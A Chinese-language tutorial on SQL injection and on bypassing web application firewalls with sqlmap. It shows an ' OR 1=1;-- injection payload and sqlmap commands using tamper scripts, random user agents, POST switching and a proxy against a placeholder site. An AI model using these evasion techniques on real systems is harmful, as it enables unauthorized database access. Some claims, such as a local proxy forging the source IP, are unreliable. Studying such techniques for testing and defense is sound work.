您的位置:

SQLMAP绕过WAF技巧

一、WAF简介

Web应用程序防火墙(Web Application Firewall,WAF)是基于Web应用程序的一种安全防护系统。它可以对来自客户端的请求进行监控和分析,并且可以防止一系列攻击,例如SQL注入、跨站脚本攻击、文件注入等等。然而,即使是最先进的WAF也可能存在漏洞。

二、SQL注入漏洞

SQL注入漏洞是一种最为常见的Web应用程序攻击方式,攻击者可通过Web表单提交恶意SQL语句,篡改数据库查询语句的行为,使得攻击者能够从数据库中获取数据,甚至能够对数据库进行破坏。

下面是一段简单的SQL语句:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

该语句的作用是查询数据库中的用户表,查找用户名为'admin',密码为'password'的用户。

但如果攻击者在表单中提交以下SQL代码:

' OR 1=1;--

那么注入后的SQL语句将成为:

SELECT * FROM users WHERE username = '' OR 1=1;--' AND password = 'password';

此时,原先的WHERE条件已被注销,AND后面的语句也将被注释掉,攻击者将得到users表中所有的数据。

三、SQLMAP简介

SQLMAP是一款集成了很多SQL注入工具的开源工具,可以自动化地执行SQL注入测试,从而获取目标站点的数据库中的敏感数据。

四、SQLMAP绕过WAF技巧

1. 使用tamper扩展

SQLMAP的tamper选项提供了一种将HTTP请求中的参数进行修改的方法,可以通过修改请求参数的方式,使得WAF不能检测到SQL注入攻击。

下面是一个基本的使用示例:

python sqlmap.py -u "http://example.com/index.php?id=1" --tamper=space2comment

其中,--tamper选项用于指定要使用的tamper脚本,space2comment是其中的一个脚本,将空格转换为SQL注释,从而可以绕过一些简单的WAF。

2. 定制tamper脚本

当内置的tamper脚本不能绕过WAF时,可以自行编写tamper脚本,来对请求进行修改。

下面是一个定制tamper脚本的示例:

def tamper(payload, **kwargs):
    return payload.replace(" ", "/**/")

# 调用tamper脚本
python sqlmap.py -u "http://example.com/index.php?id=1" --tamper=mytamper.py 

该脚本将空格替换为/**/,这可以使SQL注入绕过简单的WAF。

3. 使用不同的HTTP请求方法

对于一些WAF,只对GET请求进行过滤,而对其他HTTP请方法(例如POST,PUT)没有进行过滤。因此,可以通过修改HTTP请求方法来绕过这些WAF。

下面是一个基本的使用示例:

python sqlmap.py -u "http://example.com/index.php?id=1" --method=POST

其中,--method选项用于指定要使用的HTTP请求方法,这里指定为POST请求。

4. 使用随机伪造HTTP头部信息

有些WAF会检查HTTP头部信息,如果发现一些异常的请求头,就会将这个请求认为有威胁。因此,可以通过随机伪造HTTP头部信息的方式,来模糊WAF的检测。

下面是一个基本的使用示例:

python sqlmap.py -u "http://example.com/index.php?id=1" --random-agent

其中,--random-agent选项将会随机生成HTTP头信息。

5. 使用代理伪造IP地址

如果WAF根据IP地址进行检测,可以通过使用代理伪造IP地址的方式进行绕过。

下面是一个基本的使用示例:

python sqlmap.py -u "http://example.com/index.php?id=1" --proxy=http://localhost:8080

其中,--proxy选项将会把请求发送到代理服务器,代理服务器会将请求伪造成来自于另一个IP地址的请求。

6. 使用多种绕过技巧组合使用

有些WAF会使用多种绕过技巧来防止SQL注入攻击,因此我们需要组合多个绕过技巧,才能够成功地绕过这些WAF。

下面是一个使用多项绕过技巧组合的示例:

python sqlmap.py -u "http://example.com/index.php?id=1" --tamper=space2comment --random-agent --proxy=http://localhost:8080

该命令使用了space2comment tamper脚本、随机生成HTTP头部信息和使用代理服务器伪造IP地址的方式,组合使用这些技巧,可以较为全面地绕过WAF。

总结

在现实世界中,很多Web应用程序都使用WAF来保护自己的安全,但是即使最先进的WAF也可能存在漏洞。使用SQLMAP来检测和利用WAF漏洞,是一种非常有效的方法。通过使用tamper脚本、随机修改HTTP头部信息和伪造IP地址等方式,可以成功地绕过大多数WAF的防御。